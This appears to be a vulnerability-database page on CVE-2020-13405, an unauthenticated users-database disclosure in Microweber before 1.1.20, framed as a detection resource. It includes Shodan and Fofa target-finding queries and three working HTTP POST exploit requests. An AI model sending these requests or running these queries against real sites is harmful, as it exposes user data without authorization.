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CVE-2020-13405: Microweber <1.1.20 - Information Disclosure

TitleMicroweber <1.1.20 - Information Disclosure
Authorritikchaddha,amit-jd
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
RemediationUpgrade Microweber to version 1.1.20 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.53325
CVE IDCVE-2020-13405
CWE IDCWE-306
Shodan Queryhttp.html:"microweber"http.favicon.hash:780351152
Fofa Querybody="microweber"icon_hash=780351152
Tags cve cve2020 microweber unauth disclosure vuln

🔍 Vulnerability Description

Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /module/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.comadmin/view:modules/load_module:users
Accept-Encoding: gzip
Connection: close

module=modules/users/controller
POST /module/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 32
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.comadmin/view:modules/load_module:users
Accept-Encoding: gzip
Connection: close

module=/modules/users/controller
POST /module/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Content-Length: 23
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.comadmin/view:modules/load_module:users
Accept-Encoding: gzip
Connection: close

module=users/controller

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13405.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-13405.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A